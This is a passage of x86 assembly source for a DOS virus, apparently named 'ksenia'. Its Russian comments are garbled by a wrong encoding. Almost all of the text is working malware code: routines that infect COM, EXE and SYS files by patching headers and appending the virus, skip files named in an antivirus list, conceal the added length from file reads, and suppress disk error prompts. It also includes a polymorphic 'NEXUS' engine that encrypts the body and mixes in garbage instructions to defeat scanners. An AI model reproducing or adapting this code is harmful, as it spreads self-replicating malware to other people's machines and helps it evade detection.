es:[bx],cl ; 㢥祭 ப pop es ; ⠭ ES no_add: mov si,bp lea di,extens ; ES:DI 㪠뢠 ⠡ call compare ; ࠧ襭묨 ७ﬨ jnz Bad_File ; ४⭮ ७? mov al,[si+1] ; 㧪 ࢮ ७ call upreg ; ॢ 孨 ॣ mov cs:host,al ; ⠭ 䫠 mov si,dx ; SI -> 䠩 lea di,AVs ; ES:DI -> ⠡ call compare ; ࠢ jz Bad_File ; 襥 call LoadRegs ; ⠭ ॣ஢ clc ; ⪠ CF ret Bad_File: call LoadRegs ; ⠭ ॣ஢ stc ; ⠭ CF ret ; ⠭ STF ᨬ ⥪饣 PSP/MCB ; ࠢ 1 ᫨ ⥪騩 MCB ਭ ணࠬ STLOCK ; ࠢ 0 ᫨ ⥪饣 MB ॣ஢ STLOCK mcbcheck: call SaveRegs ; ࠭ ॣ஢ mov ah,62h ; ᥣ ⥪饣 PSP call int21 dec bx ; 祭 ᥣ MCB mov ds,bx ; DS:SI 㪠뢠 MB mov si,08h ; lea di,stlock ; ES:DI 㪠뢠 mvs es,cs ; ᯨ᮪ STLOCK call compare ; ࠢ sete cs:stf ; ⠭ ⥫-䫠 call LoadRegs ; ⠭ ॣ஢ ret ; 室 ணࠬ ; COMPARE - ࠢ ; DS:SI - 筨 ; ES:DI - ⠡ (Data1,0,Data2,0,...,DataN,0,0) ; 室: ZF = 1 砥 ᮢ ; ⨭᪨ 㪢 祭 compare: call SaveRegs ; ࠭ ॣ஢ mov dx,si ; 㡫஢ ᬥ饭 筨 data1: mov si,dx ; ⠭ ᬥ饭 筨 data2: mov al,ds:[si] ; ⥭ 筨 mov ah,es:[di] ; ⥭ ⠡ inc di ; 㢥祭 ॣ஢ inc si ; call upreg ; ॢ ᨬ 孨 ॣ or ah,ah ; ᫨ ⠡ ࠧ 0 => jz equal ; => ᮢ cmp al,ah ; ⭮ ࠢ jz data2 ; ᫨ ᮢ, ஢塞 data3: cmp B es:[di],0 ; ᮢ, ६ ᫥饥 jz data4 ; inc di jmp data3 data4: inc di cmp B es:[di],0 ; ஢ઠ ᫥ jnz data1 ; ⠡ call LoadRegs ; ⠡ 稫: ᮢ cmp di,-1 ; ⪠ ZF ret ; 室 ணࠬ equal: call LoadRegs ; ⠭ ॣ஢ cmp al,al ; ⠭ ZF ret ; 室 ணࠬ ; Gets a random value [0..AX] xrandom: push bx cx dx si di mov si,ax mov ax,cs:random1 mov bx,cs:random2 mov cx,ax mov di,8405h mul di shl cx,3 add ch,cl add dx,cx add dx,bx shl bx,2 add dx,bx add dh,bl shl bx,5 add dh,bl add ax,1 adc dx,0 mov cs:random1,ax mov cs:random2,dx or si,si jz rnd_exit xor dx,dx div si xchg ax,dx rnd_exit: pop di si dx cx bx ret ; ணࠬ ⠭/ 뢠 ; ᪨ 訡 int 24h Hook24: call SaveRegs ; ࠭ 墠 xor ax,ax ; 뢠 ᪨ mov ds,ax ; 訡 int 24h mov si,24h*4 mov dx,cs lea ax,int24 xchg ax,[si] xchg dx,[si+2] mov cs:io24,ax mov cs:io24+2,dx call LoadRegs ret Remove24: call SaveRegs ; ⠭ int 24h xor ax,ax mov ds,ax mov si,24h*4 mov ax,cs:io24 mov dx,cs:io24+2 mov [si],ax mov [si+2],dx call LoadRegs ret ; ணࠬ ࠡ 䠩 RestoreFileAttributesA: push ax bx cx dx ds mov ax,7143h mov cx,4301h mov bx,1 call LFNAPI_Check mov dx,cs:fn_ptr mov ds,cs:fn_ptr+2 mov cx,cs:Attrib test cl,1 jz noRFA call int21 noRFA: pop ds dx cx bx ax ret ClearFileAttributesA: push ax bx cx dx mov ax,7143h xor bx,bx mov cx,4300h call LFNAPI_Check call int21 jc NoFA mov cs:Attrib,cx mov cs:fn_ptr,dx mov cs:fn_ptr+2,ds test cl,1 jz NoFA mov ax,7143h mov bx,1 mov cx,4301h call LFNAPI_Check mov cx,20h call int21 jc NoFA NoFA: pop dx cx bx ax ret CreateFileA: push ax cx dx si mov ax,716ch mov cx,6c00h call LFNAPI_Check mov bx,2 xor cx,cx mov si,dx mov dx,1 call int21 xchg ax,bx pop si dx cx ax ret LFNAPI_Check: push ax cx bx mov ax,71a1h mov bx,-1 call int21 or al,al jz noLFNAPI pop bx cx ax ret noLFNAPI: pop bx ax cx ret GetDate: ; 祭 ६ mov ax,5700h ; ᫥ 䠩 call int21 mov cs:time,cx mov cs:date,dx ret RestDate: ; ⠭ ६ mov ax,5701h ; 䠩 mov cx,cs:time mov dx,cs:date call int21 ret Write: mov ah,40h ; 䠩 call int21 ret Read: mov ah,3fh ; ⥭ 䠩 call int21 ret CloseFile: mov ah,3eh ; ⨥ 䠩 call int21 ret SeekSave: call SaveRegs ; ࠭ 樨 xor cx,cx ; 㪠⥫ (lseek) 䠩 xor dx,dx call seekfrom_cur mov cs:seek_pos,ax mov cs:seek_pos+2,dx call LoadRegs ret RestoreSeek: call SaveRegs ; ⠭ ࠭ mov dx,cs:seek_pos ; 樨 㪠⥫ 䠩 mov cx,cs:seek_pos+2 call seekfrom_bof call LoadRegs ret seek2bof: mov ax,4200h ; ⠭ 㪠⥫ xor cx,cx ; 砫 䠩 xor dx,dx jmp realseek seek2eof: mov ax,4202h ; ⠭ 㪠⥫ xor cx,cx ; 䠩 xor dx,dx jmp realseek seekfrom_eof: mov ax,4202h ; ⠭ 㪠⥫ jmp realseek ; 䠩 seekfrom_cur: mov ax,4201h ; ⠭ 㪠⥫ jmp realseek ; ⥪饩 樨 seekfrom_bof: mov ax,4200h ; ⠭ 㪠⥫ ; 砫 䠩 realseek: call int21 ret ; ࠡ稪 int 24h int24: mov al,3 ; Fail caller iret ; ᥢ int 21h int21: pushf ; ⥪ 䫠 push cs ; ᥣ call exithandler ; ࠢ ୥ ⥪ ret ; ஢ઠ 䠩 (᪮?) ioctl: push ax dx ; ࠭ ॣ஢ mov ax,4400h ; IOCTL - GET DEVICE INFORMATION call int21 jc chkd ; DOS ᮮ饭 訡 sub dl,10000000b ; ஢ઠ 7 cmc chkd: pop dx ax ret ; ॢ ⨭᪨ ᨬ AH AL 孨 ॣ upreg: xchg al,ah ; 塞 ⠬ AL AH call upral ; ॢ 孨 ॣ 訩 AH xchg al,ah ; ⠭ AL AH call upral ; ॢ 孨 ॣ AL ret ; 室 ணࠬ upral: cmp al,'a' ; ஢ઠ 宦 AL jb noupr ; ࢠ 61h 74h cmp al,'z' ja noupr sub al,20h ; ॢ 孨 ॣ noupr: ret ; SeekHide ; ᫨ lseek 室 ⥫ , ணࠬ ७ ; ࠭ ࠦ ணࠬ, .. ⮩ ணࠬ ; SEEK_POS ᮤঠ lseek ; NRBYTES 㬥蠥 ࠧ 権 seekhide: call SaveRegs ; ࠭ ॣ஢ call SeekSave ; ࠭塞 ⥪饥 㪠⥫ mov cx,-1 ; 㪠⥫ ࠭ mov dx,-vsize ; ணࠬ call seekfrom_eof ; DX:AX - sub ax,cs:seek_pos ; SEEK_POS - sbb dx,cs:seek_pos+2 cmp dx,-1 ; DX:AX ⥫ jnz not_us or ax,ax jns not_us neg ax ; 祭 ࠧ 権 sub cs:nrbytes,ax ; 㬥襭 ⢠ ⠭ ⮢ sub cs:seek_pos,ax ; 㬥襭 樨 㪠⥫ 䠩 sbb cs:seek_pos,0 ; .. ᬥ饭 not_us: call RestoreSeek ; ⠭ 樨 㪠⥫ call LoadRegs ; ⠭ ॣ஢ ret ; CRC crc: push si cx lea si,shield mov cx,end_crc-shield call crc32 pop cx si ret CRC32: push ebx ecx edx esi edi ds cld mov di,cx mov ecx,-1 mov edx,ecx mvs ds,cs NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec di jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx pop ds edi esi edx ecx ebx ret ; ஢ handle Infect_Handle: push cs cs ; ds es 뢠 pop ds es call ioctl ; ஢ઠ 䠩 䨪⨢ (disk file?) jc close call Inf_Check ; ஢ઠ 䠩 ୮ ࠦ jc close mov cx,32 ; ⥭ 䠩 lea dx,original call read cmp cx,ax ; DOS 襭 jne close ; ⥭ ? lea si,original ; ᤥ ਣ쭮 lea di,header ; 砫 ணࠬ mov cx,32 cld rep movsb lea di,header cmp host,"S" ; ஢ઠ .SYS ⨯ jz sysinfect mov ax,[di] ; ax 2 cmp ax,'ZM' ; ஢ઠ EXE ⨯ je exeinfect cmp ax,'MZ' ; ⠪ EXE譨 je exeinfect ; ⠪ 뢠 jmp cominfect ; ஢ COM 䠩 ; DI - , 㦭 ஢ cominfect: mov host,"C" ; COM file cmp w [di],-1 ; ।饭 .SYS 䠩 jz Close ; 맮 int 06h call seek2eof ; 祭 ࠧ 䠩 or dx,dx ; ࠧ 䠩 65535 ? jnz Close cmp ax,65035-vsize ; ஢ઠ 䠩 ९ ja Close ; ⠢ ⥪ PSP mov b [di],0e9h ; JMP mov delta,ax ; ⥫쭮 ᬥ饭 sub ax,3 ; ४ ( ࠧ jump') mov w [di+1],ax ; 室 jmp check ; ஢ SYS 䠩 ; DI - , 㦭 ஢ sysinfect: mov host,"S" ; SYS file cmp d [di],-1 ; ⢨⥫쭮 ࠩ? jnz Close call seek2eof ; 祭 ࠧ 䠩 or dx,dx ; ࠧ 䠩 65535 ? jnz Close cmp ax,65035-vsize ; ஢ઠ 䠩 ९ ja Close mov w [di+8],ax ; ⠭ ᬥ饭 楤 뢠 add w [di+8],Interrupt-ksenia mov w [di+6],ax ; ⠭ ᬥ饭 楤 ⥣ sub ax,0100h mov delta,ax ; ⥫쭮 ᬥ饭 jmp check ; ஢ EXE 䠩 ; DI - , 㦭 ஢ exeinfect: mov host,"E" ; EXE file cmp b [di+18h],'@' ; ஢ઠ 䠩 ਭ je close ; ᥬ WinNE 䠩 mov ax,W [di+4] ; ࠬ PageCnt mov cx,W [di+2] ; ࠬ PartPag or cx,cx ; ᫨ ᫥ ࠭ ࠢ jz $+3 ; , ࠬ PageCnt ᮤন dec ax ; ⥫쭮 mov dx,512 ; 㬭 512 (祭 ) mul dx add ax,cx ; 祭 EXE 䠩, adc dx,0 ; 㧨 ᪥ EXE push dx ax ; ࠭ ६ ⥪ call seek2eof ; 祭 ᪮ ࠧ 䠩 pop si cx ; 㧪 ࠬ஢ ⥪ cmp si,ax ; ࠢ ࠬ஢ ( jnz Close ; 直 overlay ) cmp cx,dx jnz Close ; 祭 訥 䠩 室 cmp dx,10 ; ??? ⠪ jae Close ; 뢠 (砥 divide overflow ) push ax dx ; ࠭ ࠬ஢ mov cx,16 ; 祭 室 窨 (CS:IP), div cx ; ᯮ ⮣ EXE 䠩 sub ax,[di+8] ; ⠭ ࠧ EXE mov delta,dx ; ⥫쭮 ᬥ饭 sub ax,10h ; COM 䠩 (IP /ࠢ 100h) add dx,100h mov W [di+14h],dx ; ࠭ IP mov W [di+16h],ax ; ࠭ CS mov W [di+0eh],ax ; ࠭ SS ( TBSCAN ) mov W [di+10h],-2 ; ࠭ SP pop dx ax ; 㧪 ࠬ஢ ⥪ add ax,vsize ; ࠧ 䠩 adc dx,0 ; mov cx,512 ; ⠥ PartPag PageCnt div cx ; 䠩 ᮬ or dx,dx jz $+3 inc ax mov [di+2],dx ; ࠭ PartPag mov [di+4],ax ; ࠭ PageCnt Check: call WriteVirus ; 䠩 Close: call CorrectDate ; ࠢ ஢ 䠩 ret ; ஢ ⥫ 䠩 WriteVirus: call GetDate ; ६/ 䠩 cmp cs:save_ax,1857h; ஢ઠ 室 ࢥન jz no_time ; ६ 䠩 mov ah,2ch ; ⥪饣 ६ call int21 ; dx:cx mov ax,cs:time ; ax ६ 䠩 shr ah,3 ; ६ ( 11-15 cx) cmp ah,ch ; ᮢ? ᫨ , 뢠, je write_fail ; ⮡ ᢥ no_time: call seek2eof ; -> call nexus call write ; 뢠 䠩 xor cx,ax ; ᠫ? jnz write_fail call seek2bof ; 砫 mov cx,32 ; com/exe 䠩 lea dx,header mov w header+12h,v_id call write write_fail: call RestDate ; ⠭ 䠩 ret ; ஢ઠ 䠩 ஢ Inf_Check: call SaveRegs ; ࠭ ⥪ ॣ call SeekSave ; ࠭塞 lseek call seek2bof ; ७ᨬ 㪠⥫ 砫 mov cx,32 ; ⠥ lea dx,buffer push cs cs pop ds es call read call RestoreSeek ; ⠭ lseek xor cx,ax ; ⠫? jnz not_infected cmp w buffer+12h,v_id jnz not_infected call LoadRegs stc ret not_infected: call LoadRegs clc ret ; CRLOAD - ணࠬ 祭 ਣ쭮 砫 ; ࠦ ணࠬ ஢ ⮩ ணࠬ ; 室: BX - handle ஢ ணࠬ ; 室: "buffer" ᮤন 32 ਣ crload: call SaveRegs ; ࠭ ॣ஢ push cs cs ; 樠 ᥣ ॣ஢ pop ds es xor cx,cx ; ࠭ 樨 㪠⥫ 䠩 xor dx,dx call seekfrom_cur push dx ax mov cx,-1 ; mov dx,-32 ; call seekfrom_eof ; mov cx,32 ; ⠥ lea dx,buffer ; call read pop dx cx ; ⠭ 㪠⥫ call seekfrom_bof call LoadRegs ; ⠭ ॣ஢ ret ; POLYMORPHIC ENGINE [NEXUS] ; ⢥ 室 ࠬ஢ ⠭ DELTA ᬥ饭 䠩 ; 室 CX,DX ⮢ 맮 㭪樨 40h 뢠 int 21h crlen equ 234h ; ࠧ 䭮 ஢騪 cripts equ 10 ; ⢮ 権 ஢ totlen equ 7+3+3+3+4*cripts+3+2 +1+4+7 totblk equ 7+1+1+1+cripts +1+1+1 +1+7 -1 totfre equ crlen-totlen aftpus equ 7*2 public nexus if totfre lt 0 %out - tasm sucks endif nexus: call SaveRegs ; ࠭ ॣ஢ cld ; clear direction push cs cs ; 樠 ᥣ pop ds es ; ॣ஢ lea di,buffer+crlen ; ᬥ饭 ᢮ ࠭⢠ mov cx,totblk ; ⢮ ᪮ xor bx,bx ; 㬬 砩 ᥫ push cx di ; prnd: mov ax,100h ; 砩묨 ᫮ call xrandom stosw add bx,ax loop prnd pop si cx xor bp,bp srnd: mov ax,[si] ; ஢ 砩 mov di,totfre ; ᥫ ⠪ ࠧ, ⮡ mul di ; 㬬 뫠 ࠢ div bx ; ⢥ mov [si],ax ; ᪫祭 ⪠ , add bp,ax ; , add si,2 ; 室騩 ᫥ 楤 loop srnd ; ࠭ ॣ஢ lea si,buffer+crlen ; 砩 ᥫ mov ax,totfre ; ⢮ , 稢 sub ax,bp ; १ 祭 ⪠ add [si+aftpus],ax ; mov r_used,0ffh ; ॣ lea si,pushs ; 冷 ࠭/⠭ ॣ஢ lea di,buffer ; 㪠⥫ ਯ mov r_ptr,o buffer+crlen mov cx,07 ; ᥣ 㦭 ࠭ 7 ॣ஢ pushr: not r_used mov w_flag,1 ; ⥪ ࠡ⠥ ᫮묨 ॣࠬ call xreg ; 祭 砩 ॣ not r_used not ah ; ஢ AH and r_used,ah ; ⪠ 㦥 ࠭ or al,01010000b ; PUSH stosb ; ࠭ mov [si],al ; ࠭ । inc si ; ६஢ 㪠⥫ call garbage ; loop pushr mov w_flag,1 ; 㦥 16- ॣ call xreg ; 樠 稪 call tomask ; 祭 ॣ mov countr,al or r_used,dl ; ᥭ ᯨ᮪ ᯮ짮 or al,10111000b ; ᮧ MOV REG,Const (16) stosb ; ࠭ mov ax,(vsize-crlen-32)/2 ; ᫥ ⢠ ஢ stosw ; ࠭ ⠭ call garbage ; gidx: mov w_flag,1 ; 16-⭮ ᭮ ॣ call xreg ; 砩 ॣ mov ah,111b ; ஢ઠ ॣ 祭 cmp al,011b ; ࠬ 樨 ⮣ je sidx ; ॣ mov ah,100b cmp al,110b je sidx mov ah,101b cmp al,111b jne gidx sidx: call tomask or r_used,dl ; ࠭ ᭮ ॣ mov indexr,al mov indexm,ah ; ࠭ ࠬ R/M or al,10111000b ; 樠 ᭮ stosb ; ᮧ MOV REG,Const (16) mov ax,delta ; ᫥ ᬥ饭 砫 ஢ add ax,crlen+100h ; 䠩 stosw call garbage ; mov bp,di mov w_flag,1 ; 16-⭮ ॣ- call xreg ; 砩 ॣ call tomask or r_used,dl ; ࠭ ᭮ ॣ mov accumr,al mov ax,8b2eh ; CS: MOV stosw mov al,accumr shl al,3 or al,indexm stosb call garbage ; mov cx,cripts ; ⢮ 権 ਯ⮢ lea bx,nbuf+cripts*4 mov b [bx],0c3h rchos: sub bx,4 mov ax,oplen ; 롮 砩 ஢騪 call xrandom mov si,ax ; SI=AX*2 add si,ax mov ax,w [si+enopI] mov w [bx],ax mov ax,w [si+deopI] mov w [di],ax mov al,accumr or [di+1],al xor ax,ax call xrandom mov [bx+2],ax mov [di+2],ax add di,4 call garbage ; loop rchos mov ax,892eh ; CS: MOV stosw mov al,accumr shl al,3 or al,indexm stosb call garbage ; mov al,01000000b ; 㢥祭 ᭮ ॣ or al,indexr stosb call garbage ; stosb call garbage ; mov al,01001000b ; 蠥 稪 or al,countr stosb mov ax,850fh stosw mov ax,bp sub ax,di sub ax,2 stosw mov r_used,0 ; ॣ஢ 㦥 mov cx,07 ; ᥣ 㦭 ⠭ 7 ॣ஢ lea si,pushs+07-1 ; 冷 ࠭/⠭ ॣ஢ movr: call garbage ; mov al,[si] ; dec si ; ⠭ ॣ஢ call tomask or r_used,dl or al,1000b ; ⥪ ਯ stosb and al,111b loop movr mov cx,shield-ksenia-crlen lea si,ksenia+crlen lea di,buffer+crlen rep movsb mov cx,endi-shield-1 dupcr: lodsb sub al,[si] stosb loop dupcr mov cx,eov-endi+1 rep movsb mov cx,(vsize-crlen-32)/2 lea di,buffer+crlen encp: mov ax,[di] call near ptr nbuf stosw loop encp call LoadRegs mov cx,vsize lea dx,buffer ret tomask: push cx mov cl,al mov dx,1 shl dl,cl pop cx ret ; ணࠬ 樨 ୮ 砩 ࠧ ; DS=ES=CS, [DI] - (DI ६) garbage: push ax cx si mov si,r_ptr lodsw mov r_ptr,si xchg ax,cx jcxz gret ggen: push di cx lea di,crbuf call gcmd xchg ax,cx pop cx di cmp cx,ax jc ggen lea si,crbuf gdup: movsb dec cx dec ax jnz gdup or cx,cx jnz ggen gret: pop si cx ax ; ⠭ ॣ஢ ret ; ணࠬ 樨 砩 ୮ 樨 ; DS=ES=CS, [DI] - 樨 ; 室 CX - 樨 gcmd: push ax bx dx si di ; ࠭ ॣ஢ regen: lea si,opcode ; ⠡ mov ax,oclen ; 砩 ᫠ । call xrandom ; ⢠ ப ⠡ add si,ax ; 祭 ᬥ饭 ࠭ 祩 add si,ax add si,ax mov dl,[si] ; 㧪 ࠢ饣_ mov ax,[si+1] ; ஢ 蠡 樨 mov [di],ax bt dx,5 jnc not_a_mem mov ax,[di] mov [di+1],ax mov b [di],2eh mov bx,2 mov w_flag,0 call xreg jc regen shl al,3 or [di+bx],al badr: mov ax,1000b call xrandom cmp al,110b jz badr or [di+bx],al jmp nINS not_a_mem: xor bx,bx bt dx,0 ; ⠭ 樨 setc bl bt dx,6 setc w_flag test dl,00000100b ; ஢ઠ 室 樨 jz nWRD ; WRD mov ax,2 call xrandom mov w_flag,al or [di],al ; ⠭ 祩 nWRD: test dl,10000000b jz nADDi mov ax,1000b call xrandom shl al,3 or [di+bx],al nADDi: test dl,00000010b ; ஢ઠ 室 樨 jz nREG ; REG call xreg ; 砩 ॣ jc regen or [di+bx],al ; ⠭ 祩 nREG: mov cl,dl shr cl,3 and cl,11b ; ஢ઠ 室 樨 jz nRND ; 砩 祭 ᫥ 樨 cmp cl,11b jne putrnd mov cl,w_flag inc cl putrnd: xor ax,ax call xrandom mov [di+bx+1],al inc bx dec cl jnz putrnd nRND: nINS: mov cx,bx inc cx pop di si dx bx ax ; 㧪 ॣ஢ ret ; ணࠬ 樨 砩 ॣ AL AH ; 室: r_used - 16- ॣ஢ ; w_flag - ࠧ來 ॣ (0-8 ,1-16 ) ; 室: CF=0 - ॣ AL ; CF=1 - ॣ , AX ࠧ襭 xreg: mov al,11101111b ; ᪠ ஢ન 16-⭮ ॣ/SP cmp w_flag,1 ; ஢ઠ ० 樨 jz cbt mov al,1111b ; ஢ઠ 4 ⮢ 8-⭮ ᫠ cbt: mov ah,r_used ; 㧪 ஢ not ah ; ஢ AH test ah,al ; ஢ઠ ⮢ jz noreg ; ⠭? newr: mov ax,8 ; 砥 砩 call xrandom ; 0 7 mov ah,al ; 㡫㥬 cmp w_flag,1 ; ⨯ 訢 ॣ jz chksp ; 砥 8-⭮ ॣ ஢ઠ, and al,11111011b ;  ᯮ짮 jmp r_chk chksp: cmp ah,4 ; ஢ઠ ॣ SP jz newr r_chk: push dx ; 祭 ᪨ call tomask ; ॣ ஢ન ⮣, mov al,ah ; 㦥 ᯮ mov ah,dl pop dx test r_used,ah ; ஢ઠ ॣ jnz newr ; 㦥 ? clc ; ⪠ CF ret ; 室 ணࠬ noreg: stc ret ; (DB ࠢ騩_, DB , DB ) ; ࠢ騩_ 룫廊 ᫥騬 ࠧ: ; 00000000 ; 樨 (+1 ) ; REG ( [0-2] ᫥ ) ; WRD ; 砩 祭 (00-,01-,10-᫮,11- WRD) ; , (WF=0) ; 祭 WRD, ᫨ ; 3- 砩 [5-3] ᫥ opcode label db 00011010b,10110000b,00000000b ; MOV REG,Const (8/16) db 01011010b,10111000b,00000000b ; MOV REG,Const (8/16) db 00011111b,11110110b,11000000b ; TEST REG,Const (8/16) db 00011111b,10000000b,11000000b ; ADD REG,Const (8/16) db 00011111b,10000000b,11001000b ; OR REG,Const (8/16) db 00011111b,10000000b,11010000b ; ADC REG,Const (8/16) db 00011111b,10000000b,11011000b ; SBB REG,Const (8/16) db 00011111b,10000000b,11100000b ; AND REG,Const (8/16) db 00011111b,10000000b,11101000b ; SUB REG,Const (8/16) db 00011111b,10000000b,11110000b ; XOR REG,Const (8/16) db 00011111b,10000000b,11111000b ; CMP REG,Const (8/16) db 10000111b,10001000b,11000000b ; MOV REG,REG (8/16) db 10000111b,10000100b,11000000b ; TEST REG,REG (8/16) /"D" db 10000111b,00000000b,11000000b ; ADD REG,REG (8/16) db 10000111b,00001000b,11000000b ; OR REG,REG (8/16) db 10000111b,00010000b,11000000b ; ADC REG,REG (8/16) db 10000111b,00011000b,11000000b ; SBB REG,REG (8/16) db 10000111b,00100000b,11000000b ; AND REG,REG (8/16) db 10000111b,00101000b,11000000b ; SUB REG,REG (8/16) db 10000111b,00110000b,11000000b ; XOR REG,REG (8/16) db 10000111b,00111000b,11000000b ; ADC REG,REG (8/16) db 00100000b,10001010b,00000000b ; MOV REG,[MEM] (8) db 00100000b,10000100b,00000000b ; TEST REG,[MEM] (8) (No "D") db 00100000b,00000010b,00000000b ; ADD REG,[MEM] (8) db 00100000b,00001010b,00000000b ; OR REG,[MEM] (8) db 00100000b,00010010b,00000000b ; ADC REG,[MEM] (8) db 00100000b,00011010b,00000000b ; SBB REG,[MEM] (8) db 00100000b,00100010b,00000000b ; AND REG,[MEM] (8) db 00100000b,00101010b,00000000b ; SUB REG,[MEM] (8) db 00100000b,00110010b,00000000b ; XOR REG,[MEM] (8) db 00100000b,00111010b,00000000b ; ADC REG,[MEM] (8) db 00001111b,11000000b,11000000b ; ROL REG,Const (8/16) db 00001111b,11000000b,11001000b ; ROR REG,Const (8/16) db 00001111b,11000000b,11010000b ; RCL REG,Const (8/16) db 00001111b,11000000b,11011000b ; RCR REG,Const (8/16) db 00001111b,11000000b,11100000b ; SHL/SAL REG,Const (8/16) db 00001111b,11000000b,11101000b ; SHR REG,Const (8/16) db 00001111b,11000000b,11111000b ; SAR REG,Const (8/16) db 00000111b,11110110b,11011000b ; NEG REG (8/16) db 00000111b,11110110b,11010000b ; NOT REG (8/16) db 00000011b,11111110b,11000000b ; INC REG (8) db 00000011b,11111110b,11001000b ; DEC REG (8) db 01000010b,01000000b,00000000b ; INC REG (16) db 01000010b,01001000b,00000000b ; DEC REG (16) db 00000000b,11111000b,00000000b ; CLC db 00000000b,11110101b,00000000b ; CMC db 00000000b,11111001b,00000000b ; STC db 00000000b,11111100b,00000000b ; CLD db 00000000b,11111101b,00000000b ; STD db 00000000b,11111010b,00000000b ; CLI db 00000000b,11111011b,00000000b ; STI db 00000000b,10010000b,00000000b ; NOP db 00000001b,11101011b,00000000b ; JMP $+2 oclen equ ($-opcode)/3 ; 権 /஢ enopI db 10000001b,11110000b ; XOR db 10000001b,11000000b ; ADD db 10000001b,11101000b ; SUB deopI db 10000001b,11110000b ; XOR db 10000001b,11101000b ; SUB db 10000001b,11000000b ; ADD oplen equ (this byte-deopI)/2 ; CRC end_crc: random1 dw 0 ; 砩 ᥫ random2 dw 0 checksum dd 0 ; CRC32 host db 'C' ; ⨯ ࠦ ணࠬ epb dw 0 ; Execute Parameter Block dw 80h ; ப seg0 dw 0 dw 5ch ; FCB#1 seg1 dw 0 dw 6ch ; FCB#2 seg2 dw 0 ; ஢ (2- ᯮᮡ - internal) endi: SaveRegs: pushf ; ࠭ ᠬ ॣ஢ push eax bx edx si di bp es ds mov bp,sp push w [bp.rcx] ; ஢ mov [bp.rcx],cx mov bp,[bp.rbp] ; ⠭ BP ret LoadRegs: pop cx ; ⠭ ᬥ饭 mov bp,sp ; ஢ xchg cx,[bp.rcx] pop ds es bp di si edx bx eax popf ret rreg struc rds dw ? ; ᯮ ࠭ res dw ? ; ॣ஢ ⥪ rbp dw ? rdi dw ? rsi dw ? redx dd ? rbx dw ? reax dd ? rflg dw ? rcx dw ? rreg ends if ($-ksenia+crlen) mod 2 eq 1 nop endif original db 0c3h ; ᫥ !!! db 31 dup (0) ; ᫥ !!! ; ᪮ - 䠩 eov: io08 dw ?,? ; 祩 ࠭ ஢ io21p dw ?,? ; 뢠 io24 dw ?,? stf db ? ; ० ⥫ (mcbcheck) seek_pos dw ?,? ; 㪠⥫ (SeekSave) nrbytes dw ? ; ⠭ (ReadStealth) r_used db ? ; [NEXUS] Polymorphic engine indexr db ? ; indexm db ? ; countr db ? ; accumr db ? ; r_ptr dw ? ; w_flag db ? ; crbuf db 4 dup (?) ; nbuf db 4*cripts+1 dup (?) ; pushs db 7 dup (?) ; delta dw ? ; fn_ptr dw ?,? ; 䠩 (ClrAttrib) attrib dw ? ; ਡ (ClrAttrib) time dw ? ; ६ 䠩 (GetDate) date dw ? ; 䠩 (GetDate) w95state dw ? ; ﭨ Win95 (筥 WinOldAp) save_ax dw ? ; । ࠬ஢ save_bx dw ? ; १⭮ ࠡ稪 save_es dw ? ; reqhdr dw ?,? ; REQUEST_HEADER intcall dw ?,? ; SYS_INTERRUPT delay db ? ; 稪 Virus Guard header db 32 dup (?) buffer db vsize dup (?) stacks db 100h dup (?) eom: end ksenia ===== Cut here =====